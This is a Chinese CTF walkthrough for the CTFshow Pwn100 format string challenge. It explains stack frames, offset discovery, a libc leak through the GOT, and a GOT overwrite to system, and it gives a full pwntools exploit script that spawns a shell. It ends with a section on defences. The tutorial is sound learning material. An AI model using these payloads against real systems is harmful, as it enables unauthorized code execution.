CTFshow Pwn100:格式化字符串漏洞利用与栈帧分析实战
2026/8/10 1:19:30 网站建设 项目流程

1. 项目概述

如果你刚接触Pwn,面对CTFshow Pwn100这类题目,看到“格式化字符串漏洞”和“栈帧分析”这两个词,可能会觉得既熟悉又陌生。熟悉是因为在各种教程里总能看到它们,陌生是因为真到了动手的时候,面对那一堆十六进制数和寄存器状态,常常不知道从何下手。这篇文章,我就以一个老Pwn手的视角,带你彻底拆解CTFshow Pwn100这道经典的格式化字符串漏洞入门题。我们不只讲“怎么做”,更要讲清楚“为什么这么做”,以及我在实战中踩过的那些坑。通过这道题,你会掌握格式化字符串漏洞从信息泄露到任意地址写的完整利用链,并深刻理解栈帧在漏洞利用中的核心作用。无论你是想入门二进制安全,还是想在CTF比赛中快速得分,这篇文章都能给你提供一套清晰、可复现的“解题模板”。

2. 漏洞原理与栈帧基础

2.1 格式化字符串漏洞的本质

格式化字符串漏洞的根源,在于程序员错误地使用了像printfsprintf这类函数。正常用法是printf(“%s”, user_input),但很多人会偷懒写成printf(user_input)。当user_input完全由用户控制时,灾难就来了。

printf这类函数的工作机制是:它从栈上(在x86-32位架构下)或寄存器(在x64架构下)读取参数,来匹配格式字符串中的格式化符号(如%s,%x,%n)。如果格式字符串是用户输入的%p%p%p,而函数调用时又没有提供对应的参数,printf就会“诚实”地按照这个指令,把本不该被读取的栈上或寄存器里的数据给打印出来。这就好比你把保险箱密码本当成普通笔记本交给了别人,对方就能按图索骥,打开你不想公开的抽屉。

在CTFshow Pwn100这道题里,通常你会看到一个类似printf(buf)的语句,其中buf是用户可控的输入。这就是漏洞的入口。

2.2 栈帧:漏洞利用的“地图”

要利用这个漏洞,你必须有一张“地图”,告诉你目标数据藏在内存的哪个位置。这张地图就是栈帧

每次函数调用时,系统都会在栈上为它开辟一块独立的内存区域,这就是栈帧。里面按顺序存放着:

  1. 调用者的栈帧基地址(EBP):用于函数返回后恢复上一个函数的栈。
  2. 返回地址(EIP):函数执行完后要跳转回去的地址。
  3. 函数的参数(在x86下)。
  4. 函数的局部变量
  5. 其他寄存器的备份等。

printf被调用时,它的参数(包括格式字符串的地址和后续变量)会被压入栈中。printf函数内部有一个指针,初始时指向第一个参数(格式字符串地址)之后的位置。每解析到一个格式化符号(如%x),这个指针就向后移动,读取对应位置的数据作为参数。

关键点来了:如果我们输入的格式字符串里包含了%p%xprintf就会忠实地把指针当前所指位置的内存内容打印出来。通过精心构造格式字符串,我们可以让这个指针“漫步”在栈上,读取到任何我们感兴趣的数据,比如某个函数的返回地址、某个全局变量的指针,甚至是libc的地址。

实操心得:刚开始看栈布局可能会头晕。一个非常有效的方法是,在动态调试时(比如用GDB),在调用printf的指令处下断点,然后使用x/20wx $esp命令查看栈内存。把打印出来的地址,和你用%p泄露出来的内容一一对应,你就能瞬间理解格式字符串参数与栈位置的映射关系。这是从理论到实践最关键的一步。

2.3 核心利用原语:不只是读,还能写

格式化字符串漏洞的强大之处在于它不仅能“读”内存,还能“写”内存,这主要通过%n系列格式化符实现。

  • %n:将截至目前已输出的字符总数,写入一个指针参数所指向的地址(4字节)。
  • %hn:写入2字节(short)。
  • %hhn:写入1字节(char)。

例如,printf(“AAAA%n”, &counter),在输出“AAAA”这4个字符后,%n会将数字4写入变量counter中。如果我们能控制这个写入的地址(比如通过栈溢出或格式化字符串本身将地址布置在栈上),并精确控制已输出的字符数,我们就能向任意地址写入任意值

在CTFshow Pwn100中,我们通常需要利用这个能力,将某个关键函数的GOT表项(例如printfexit)修改为system函数的地址,从而在后续触发该函数调用时获得shell。

3. CTFshow Pwn100 实战环境搭建与初步分析

3.1 题目环境准备

首先,你需要获取题目文件。通常是一个名为pwn100或类似的ELF可执行文件。为了模拟比赛环境并方便调试,我们需要在Linux下进行操作。

  1. 检查文件信息:使用filechecksec命令。

    file pwn100 checksec pwn100

    典型的输出可能显示是32位、小端序、动态链接的ELF文件,并且没有开启栈保护(Canary)和地址随机化(PIE),但可能开启了NX(堆栈不可执行)。这对我们利用格式化字符串漏洞非常有利。

  2. 运行程序:直接运行./pwn100,观察程序行为。它可能会提示你输入,或者直接进入一个循环接收输入的菜单。我们的目标就是找到那个存在格式化字符串漏洞的输入点。

3.2 静态分析:定位漏洞点

使用反汇编工具(如objdumpIDA ProGhidra)快速定位漏洞。

objdump -d pwn100 | less

或者用IDA Pro打开,查看main函数或主要的输入处理函数。寻找对printfsprintffprintf等函数的调用,并且第一个参数是明显的用户输入缓冲区。

在CTFshow Pwn100的典型变种中,你可能会看到类似下面的伪代码:

char buf[100]; read(0, buf, 99); // 或 fgets, gets printf(buf); // 漏洞点!

或者在一个循环里:

while(1) { memset(buf, 0, sizeof(buf)); read(0, buf, 99); printf(buf); fflush(stdout); }

找到这个printf(buf),就找到了攻击的突破口。

3.3 动态调试:确定偏移量

这是利用格式化字符串漏洞最核心的一步:确定我们输入的格式字符串在栈上的起始位置是第几个参数

  1. 启动调试gdb ./pwn100

  2. 在漏洞点下断点:在printf调用处下断点。b *0x8048xxx(地址需根据你的反汇编结果确定)。

  3. 构造探测字符串:运行程序,当程序等待输入时,输入一串有规律的、易于识别的字符组合,例如AAAA%p.%p.%p.%p.%p.%p.%p.%p

    • AAAA(即0x41414141)是我们的“标记”。
    • %p用于以指针格式泄露栈上的数据。
  4. 观察输出:程序会打印出一串地址。寻找输出中出现的0x41414141。假设输出是:

    0x1 0x2 0x3 0x4 0x5 0x6 0x41414141 0x8 ...

    那么0x41414141出现在第7个位置(从第一个%p对应的输出开始数,即0x1是第1个)。这意味着,我们输入的AAAA这个字符串本身,在栈上被printf当作第7个参数来处理。

  5. 验证偏移:更精确的测试是使用直接参数访问。输入AAAA%7$p。如果输出是AAAA0x41414141,那么就100%确认了偏移量是7。这里的7$表示“使用第7个参数”。在CTFshow Pwn100中,这个偏移量常见是6或7。

注意事项:这个偏移量是固定的吗?在关闭ASLR和PIE的简单题目中,通常是固定的。但在更复杂或开启了PIE的题目中,这个偏移量可能需要结合泄露的地址动态计算。Pwn100作为入门题,偏移量一般是固定的。

4. 利用链构建:从信息泄露到GOT覆写

掌握了偏移量,我们就拿到了打开栈内存的钥匙。接下来的利用分为三步:泄露关键地址、计算目标地址、实施覆写。

4.1 第一步:泄露libc基地址

我们的最终目的是调用system(“/bin/sh”)。在动态链接的程序中,system函数位于libc共享库中。由于ASLR,libc的加载基址每次运行都不同,但libc内部函数之间的相对偏移是固定的。

因此,我们需要先泄露一个已经在程序中使用的libc函数的地址,比如printf__libc_start_main的地址。这些函数的指针存储在程序的**全局偏移表(GOT)**中。

  1. 找到GOT表地址:使用objdump -R pwn100readelf -r pwn100命令。

    readelf -r pwn100 | grep printf

    假设输出为:0804a010 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0那么printf的GOT表地址就是0x0804a010

  2. 利用格式化字符串泄露GOT内容:我们已经知道偏移量是7。现在我们需要把GOT地址放到栈上,并让printf%s去读它。

    • 构造payload:p32(0x0804a010) + b”%7$s”
    • 这里p32是pwntools的打包函数,将地址转为小端序字节串\x10\xa0\x04\x08
    • 这个payload作为printf的格式字符串。printf会先读取0x0804a010这个“字符串”(因为它对应%7$),然后%s会将它解释为一个指针,去打印该指针指向的内存内容——也就是printf函数在libc中的实际地址。
    • 发送payload后,接收到的数据前4个字节是我们输入的地址,后面跟的就是泄露出的printf的地址。用u32()解包即可得到printf_addr

    为什么是%7$s而不是%7$p%p打印的是参数本身的值(即地址0x0804a010),而%s打印的是该地址指向的内容(即0x0804a010这个内存单元里存储的值,也就是printf的地址)。

4.2 第二步:计算system函数地址

拿到printf_addr后,我们需要知道目标libc版本中printfsystem的相对偏移。

  1. 确定libc版本:这是CTF中常遇到的难点。题目可能不提供libc.so文件。有几种方法:

    • 题目附件可能附带libc.so
    • 根据泄露的地址末三位,去在线库(如libc.blukat.me, libc.database)查询。
    • 如果本地环境和远程一致,可以直接用本地的libc。 假设我们已确定libc版本为libc6-i386_2.27-3ubuntu1.4_amd64
  2. 计算偏移

    • 在本地该libc中,用readelf -s /path/to/libc.so.6 | grep -E “ printf| system“查找符号地址。假设得到:printf: 0x000513a0system: 0x0003f480
    • 计算相对偏移:system_offset = 0x3f480,printf_offset = 0x513a0
    • 那么,system_addr = printf_addr - (printf_offset - system_offset) = printf_addr - 0x12020

    实操心得:更稳妥的方法是使用pwntools的ELF模块来加载本地的libc文件,让它自动计算偏移:libc = ELF(‘./libc.so.6’),然后system_addr = printf_addr - (libc.symbols[‘printf’] - libc.symbols[‘system’])。这样既准确又避免了手动计算错误。

4.3 第三步:利用%n覆写GOT表

现在我们有:

  • 目标写入地址:printf_got = 0x0804a010
  • 要写入的值:system_addr(一个32位的值,例如0xf7e0d420
  • 可控的格式字符串偏移:7

直接写入一个32位的大数(如0xf7e0d420)需要输出海量字符,不现实。因此我们采用**逐字节写入(byte-by-byte)**的策略,利用%hhn

核心思路

  1. 将目标地址(printf_got)及其后续3个字节(printf_got+1,+2,+3)都放入我们的格式字符串中,并确保它们在栈上能被printf作为参数访问到。假设它们分别位于偏移7,8,9,10的位置。
  2. 通过控制已输出字符的数量,分别让%7$hhn,%8$hhn,%9$hhn,%10$hhn将特定的字节值写入对应地址。

构造payload的步骤(以写入0xf7e0d420为例,小端序存储为\x20\xd4\xe0\xf7):

  1. 布局地址payload = p32(printf_got) + p32(printf_got+1) + p32(printf_got+2) + p32(printf_got+3)这16个字节会被放置在栈上,成为printf的第7到第10个参数。
  2. 计算填充:我们需要控制已输出字符数,使其等于我们想要写入的字节值。
    • 首先,payload目前长度是16字节。我们需要输出0x20(32)个字符,才能让第一个%hhn写入0x20。还需要额外输出32-16=16个字符。可以用%16c来实现(%c会打印一个字符,%16c会输出至少16宽度的字符,通常用空格填充)。
    • 所以第一部分:payload += b“%16c”
    • 现在已输出字符数为32,对应0x20。接着用%7$hhn写入printf_got地址处:payload += b“%7$hhn”
  3. 写入后续字节:接下来要写入printf_got+1处的值0xd4(212)。当前已输出32个字符,需要输出到212个字符,还需212-32=180个字符。
    • payload += b“%180c”
    • payload += b“%8$hhn”
  4. 依此类推:计算写入0xe0(224)和0xf7(247)所需的填充字符数。注意,因为%hhn只取低8位,如果累计输出超过256,会自动取模。所以我们需要让累计输出数N满足N % 256 = target_value。通常采用从小到大的顺序写入,避免取模带来的复杂计算。

这个过程非常繁琐,极易出错。这就是为什么强烈推荐使用pwntools的fmtstr_payload函数

from pwn import * payload = fmtstr_payload(7, {printf_got: system_addr})

这一行代码就自动完成了上面所有复杂的地址布局和填充计算。7是偏移量,{printf_got: system_addr}是一个字典,表示我们要在printf_got地址处写入system_addr的值。

5. 完整Exploit脚本编写与调试

将上述步骤整合,一个完整的利用脚本如下:

#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context(arch=‘i386‘, os=‘linux‘, log_level=‘debug‘) # 1. 启动进程 p = process(‘./pwn100‘) # 如果是远程题目: p = remote(‘ctf.show‘, 10000) # 2. 确定格式化字符串偏移 def leak_offset(): # 方法一:自动化探测(推荐) def exec_fmt(payload): p.sendline(payload) return p.recvuntil(‘\n‘, drop=True) # 根据实际输出调整 autofmt = FmtStr(exec_fmt) offset = autofmt.offset log.success(“FmtStr offset: %d” % offset) return offset # 方法二:手动测试(理解原理) # p.sendline(‘AAAA%p.%p.%p.%p.%p.%p.%p‘) # resp = p.recvline() # if ‘41414141‘ in resp: # # 找到41414141出现的位置 # offset = resp.split(‘.‘).index(‘0x41414141‘) + 1 # 从1开始计数 # return offset offset = leak_offset() # 假设我们得到 offset = 7 # 3. 准备ELF对象,获取GOT地址 elf = ELF(‘./pwn100‘) printf_got = elf.got[‘printf‘] # 例如 0x0804a010 log.success(“printf_got: 0x%x” % printf_got) # 4. 泄露printf的真实地址 payload_leak = p32(printf_got) + ‘%{}$s‘.format(offset) p.sendline(payload_leak) # 接收的数据:前4字节是地址本身,后面是printf的地址 p.recv(4) # 吃掉地址部分 printf_addr = u32(p.recv(4)) # 读取4字节的printf地址 log.success(“printf_addr: 0x%x” % printf_addr) # 5. 计算system地址(需要本地对应版本的libc) libc = ELF(‘/lib/i386-linux-gnu/libc.so.6‘) # 替换为你的libc路径 # 或者使用题目提供的libc # libc = ELF(‘./libc.so.6‘) system_offset = libc.symbols[‘system‘] printf_offset = libc.symbols[‘printf‘] system_addr = printf_addr - (printf_offset - system_offset) log.success(“system_addr: 0x%x” % system_addr) # 6. 构造格式化字符串payload,覆写printf_got为system_addr payload_exploit = fmtstr_payload(offset, {printf_got: system_addr}) p.sendline(payload_exploit) # 7. 触发system(‘/bin/sh‘) # 由于printf的GOT已被替换为system,下一次调用printf(buf)就相当于system(buf) p.sendline(‘/bin/sh\x00‘) # 发送/bin/sh字符串 # 8. 享受shell p.interactive()

5.1 脚本关键点解析与调试技巧

  1. 偏移量自动探测FmtStr类会自动尝试多种payload来确定偏移,比手动测试更可靠。但要注意exec_fmt函数的编写,它必须能发送payload并返回程序的输出。
  2. 地址泄露的接收处理:发送p32(addr) + ‘%offset$s‘后,接收的数据是地址字节本身 + 目标地址处的内存内容。所以要先接收并丢弃前4字节(p.recv(4)),再读取接下来的4字节作为泄露的地址。
  3. libc版本问题:这是最大的变数。如果脚本在本地成功但在远程失败,99%是libc版本不对。需要根据泄露的printf_addr的特征(如末三位是0x9b0),去匹配远程libc。可以使用LibcSearcher等工具或在线数据库。
  4. pwntools的fmtstr_payload:这是神器。它会自动处理字节写入顺序、填充计算和地址对齐。但要注意,它生成的payload可能较长,需确保你的输入缓冲区足够大。Pwn100的缓冲区通常是够的。
  5. 触发shell:覆写GOT后,程序下一次调用printf时,实际会跳转到system。所以我们需要让程序再次执行到printf(buf),并且此时我们的buf是字符串/bin/sh。在循环结构的题目中,直接发送/bin/sh即可。如果程序是单次调用,则需要在第一次payload中一并完成GOT写和/bin/sh的传入,这需要更精巧的构造。

5.2 常见问题与排查实录

问题1:泄露地址时,程序崩溃或输出乱码。

  • 可能原因:偏移量计算错误。%s试图读取的地址无效(比如地址包含不可读的字节\x00,\x0a,\x0c等)。
  • 排查
    • %p代替%s先测试:p32(printf_got) + ‘%{}$p‘.format(offset)。如果输出是0x804a010,说明偏移正确且地址可读。如果输出是(nil)或其他奇怪值,说明偏移不对或地址被截断。
    • 检查GOT地址是否包含\x00(如0x0804a000)。\x00是字符串终止符,readfgets读到它会提前结束输入,导致地址不完整。这时需要调整payload顺序,将地址放在格式化字符串后面,或者利用格式化字符串本身的特性来写入地址。

问题2:使用fmtstr_payload后,发送payload程序无反应或崩溃。

  • 可能原因:payload过长,超出了缓冲区;或者写入过程中破坏了栈上其他关键数据(如返回地址),导致函数无法正常返回。
  • 排查
    • 打印出payload长度:log.info(“Payload length: %d” % len(payload)),与程序缓冲区大小对比。
    • 简化测试:先尝试写一个小的、确定的值到某个可写地址(如.bss段),验证写入功能是否正常。例如:payload_test = fmtstr_payload(offset, {0x804c000: 0xdeadbeef})
    • 在GDB中单步跟踪printf的执行,观察栈状态和写入过程。

问题3:成功写入GOT表,但发送/bin/sh后没有拿到shell。

  • 可能原因
    1. system地址计算错误。
    2. 传入system的参数不是指向字符串/bin/sh的指针。printf(buf)调用时,buf本身是system的第一个参数。你需要确保buf的内容就是/bin/sh,并且后面没有干扰字符(如换行符)。有时需要发送/bin/sh\x00来明确终止字符串。
    3. 程序环境问题。system函数依赖/bin/sh的存在和正确的环境变量。在某些精简的docker环境中可能缺少。
  • 排查
    • 在GDB中,在printf调用处下断点,查看跳转的目标地址是否确实是system
    • 查看system的参数(即栈上第一个参数)是否确实是/bin/sh的地址。
    • 尝试使用cat flag等命令替代/bin/sh,或者使用execve的ROP链作为后备方案。

6. 栈帧分析的深入与漏洞利用的变种

6.1 当偏移量不固定时

在开启了PIE(位置无关执行)的程序中,代码段的基址会随机化。这意味着我们输入的字符串在栈上的位置也可能随之变化。此时,单纯的固定偏移量7可能失效。

解决方法

  1. 部分覆盖技术:即使基址随机,地址的低12位(一页内)通常是不变的。我们可以尝试泄露栈上的一个指向我们输入字符串附近的指针,然后通过计算差值来动态确定偏移量。
  2. 使用pwntools的FmtStr:它提供的自动偏移探测功能在PIE开启时可能依然有效,因为它会尝试多个可能的偏移。

6.2 利用链的替代方案:覆写返回地址或函数指针

除了修改GOT表,格式化字符串漏洞还可以直接修改栈上的返回地址,或者修改某个函数指针(如__stack_chk_fail的GOT,或atexit处理程序),使其指向我们布置的shellcode或ROP链。

思路

  1. 利用格式化字符串泄露栈地址,计算出当前函数返回地址在栈上的位置(相对于我们输入的偏移)。
  2. 使用%n将返回地址修改为system的地址或one_gadget的地址。
  3. 需要同时解决参数问题。如果修改返回地址为system,还需要在栈上布置好返回后system的参数。这通常需要更精确的栈布局控制和多次写入。

这种利用方式比GOT覆写更直接,但难度也更高,需要对栈帧布局有极其清晰的认识。

6.3 64位环境下的挑战

在x64架构下,前6个参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递,后续参数才通过栈传递。这给利用带来了变化:

  1. 偏移量计算:你输入的格式字符串本身可能作为第一个参数在RDI中。前几个%p泄露的将是RSI, RDX, RCX...寄存器的值,直到第7个%p才开始泄露栈上的内容。你需要重新确定你的输入在栈上的起始偏移。
  2. 地址中的空字节:x64地址通常是8字节,如0x7ffff7a523a0。高位有很多\x00字节。如果直接将地址放在payload开头,\x00会截断字符串。解决方法是将地址放在payload末尾,或者利用格式化字符串先向高位地址写入\x00
  3. pwntools的适配fmtstr_payload函数同样支持64位,只需设置context.arch=‘amd64‘,它会自动处理上述问题。

7. 防御措施与学习建议

理解了攻击,才能更好地防御。现代编译器和操作系统已经部署了多种机制来缓解格式化字符串漏洞:

  • 编译时警告:GCC的-Wformat-security选项会对printf(buf)这类不安全的用法发出警告。
  • 地址随机化(ASLR/PIE):让libc基址、栈地址、堆地址随机化,增加泄露和预测地址的难度。
  • RELRO
    • Partial RELRO:GOT表可写,但重定位段只读。
    • Full RELRO:在程序启动后就将所有符号解析完毕,并使GOT表完全只读。这是最有效的防御,直接封杀了GOT覆写这条利用路径。
  • FORTIFY_SOURCE:对某些字符串函数进行加强检查。

对于学习者,我的建议是:

  1. 从基础开始:一定要亲手在关闭保护的环境下(-no-pie -fno-stack-protector)完成几次完整的利用,理解每一个字节的来龙去脉。
  2. 善用工具,但不依赖工具:pwntools极大提升了效率,但初期请尽量手动计算偏移、构造payload,这能加深你对栈布局和漏洞原理的理解。
  3. 动态调试是王道:多使用GDB,配合pedapwndbg插件,观察每条指令执行前后栈和寄存器的变化。x/20wx $espinfo frame是你的好朋友。
  4. 阅读优秀的Writeup:CTFshow平台本身就有很多高质量的题解。对比不同人的解题思路,学习他们分析问题和构造payload的技巧。

格式化字符串漏洞是Pwn入门的一座里程碑。攻克了它,你就掌握了通过程序“输出”来“输入”并最终“执行”的完整思维链条。CTFshow Pwn100是一个完美的起点,它所涵盖的技术点——偏移计算、地址泄露、GOT覆写——是后续学习堆漏洞、内核漏洞等更高级主题的基石。希望这篇近万字的拆解,能帮你把这块基石打牢。记住,所有的复杂利用,都源于对基础原理的深刻理解和对内存布局的清晰把握。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询